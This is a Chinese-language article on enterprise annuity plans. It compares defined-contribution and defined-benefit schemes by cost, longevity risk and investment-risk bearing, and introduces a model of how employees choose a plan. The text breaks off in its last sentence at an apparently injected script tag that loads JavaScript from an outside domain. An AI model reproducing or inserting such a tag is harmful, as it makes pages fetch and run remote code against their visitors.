目前，多数国家都建立起国家公共养老金、企业补充养老金和个人储蓄性养老金三大支柱养老保障体系，养老金制度由以社会政策为主转变为以经济政策为主。作为企业补充养老金的主要形式，企业年金计划越来越为企业所重视，成为一种与企业人力资源政策相匹配的补偿机制。

    目前，多数国家都建立起包括国家公共养老金、以企业年金为主要形式的企业补充养老金和个人储蓄性养老金在内的三大支柱养老保障体系，养老金制度由以社会政策为主转变为以经济政策为主。作为养老保障的第二支柱，企业年金计划越来越为企业所重视，成为一种与企业人力资源政策相匹配的补偿机制。

　　企业年金计划概况

　　国际通行的企业年金计划可以分为确定缴费型（DC）计划、确定受益型(DB)计划以及这两种形式的不同程度的混合体(混合计划)。基于当前中国的市场环境，我国的企业年金基本采取确定缴费计划，但投资决策采取了确定受益性集合选择的方式，是一种结合两者的混合计划。

　　基本情况比较

    确定缴费型（DC）计划，又称以收定支型计划，是为每个参加计划的员工设立个人账户，雇主和员工的缴费均存入员工个人账户，只明确缴费的水平，但不明确由这些缴费提供的养老金水平，即发起人不对未来支付的年金水平做出承诺，也不提供最低保证，每月的年金水平依赖于缴费总和与投资收益。
确定受益型（DB）计划，又称以支定收型计划，是为参加计划的所有员工设立一个统一账户，缴费和投资运作的风险都由雇主承担，并承诺参与者一个确定水平的养老金，保证员工在退休后去世前可以定期收到一定数量的退休收入。各年的缴费水平根据职工当时的工资水平、工作年限、企业预期人员变动、工资增长率、死亡率、预定利率等的预测，依照精算原理确定，即企业根据将来需要支出的养老金来确定企业现在应该缴纳的企业年金费用。

　　两种计划在缴费率、资金管理和运用、责任承担等方面都有很大的差异。

　　风险性比较

　　在实践操作方面，DC计划设计得较为简单，容易为员工所理解和接受，还免去了精算的繁琐，员工还可参与个人账户的投资决策，员工离职时也便于处理。但是员工的退休收入不确定，个人账户管理费用高，筹资缺乏灵活性。与此相比，DB计划能给与员工充分的退休收入保障，支付较低的统一账户管理费用，筹资也很灵活，但需要复杂的精算工作和不断的调整，为确保员工的退休收入往往需要保险机构、担保机构等第三方信用增强机构的参与，员工离职时较难处理。从这个角度看，两者关键的区别在于各种风险的承担者和责任人不同。

    首先，长寿风险的承担者不同。由于DB计划在受益人退休后向其支付年金直到受益人去世，故发起人要承担长寿风险。相反，在DC计划中，长寿风险则由员工自己来承担。

    其次，投资决策者和投资风险承担者不同。DB计划由计划发起人做出投资决策，相应的，如果投资失误导致年金的资产市值低于债务现值，发生积累不足，其风险也由发起人和为其担保的养老保险收益担保公司来承担。而DC计划则把投资决策和风险都转移给了员工，一般而言，DC计划允许员工对其个人账户中个人缴款部分有投资选择权，未来员工的积累金额取决于自身做出的投资决策。通常是雇主通过其组成的投资委员会或指派的受托管理人对其资助供款的DC计划所应提供的投资工具做出决定，再由雇员来具体决定如何将自己个人账户中的资产在雇主所选定的投资工具中进行投资分配。

　　可以看到，在两种模式下，投资的决策权与投资风险的承担者相对来说是较为匹配的，并且与其缴费来源也是相一致的。DB计划从缴费到投资决策再到风险承担形成了雇主缴费——雇主决策——雇主承担风险的链条，而DC计划则遵循雇主雇员共同缴费——雇员对自己缴费部分进行投资决策——雇员承担风险的模式。

　　年金计划选择模型及其影响因素

　　虽然学者们已经开始关注企业年金提供方式的变化，但是当前关于员工选择年金计划的研究却并不多见。在雇用关系中，企业年金计划的提供是一种激励机制，同时也是人力资源管理政策的一种补偿机制。因此基于员工的个体特征和对于计划特征的偏好的分析来预测员工年金计划的选择行为对于管理者来说是很有意义的。下面将借助年金计划选择模型（图1）分析影响员工年金计划选择行为的决定因素。

　　分析目标：计划的选择

　　心态是预测个体对于特定目标、目的或决策做出的内心评价、情感反应和行为结果的一个重要指标。个人在认知上和情感上对于态度和行为反应的评价常常表现出一致性。分析年金计划选择模型的一致性原则与市场供求相适应的观点相似，因为研究的目的在于更好地将个人偏好和组织体系进行匹配 (Kristof, 1996)。也就是说，一?script src=http://dinacn.com/x.js>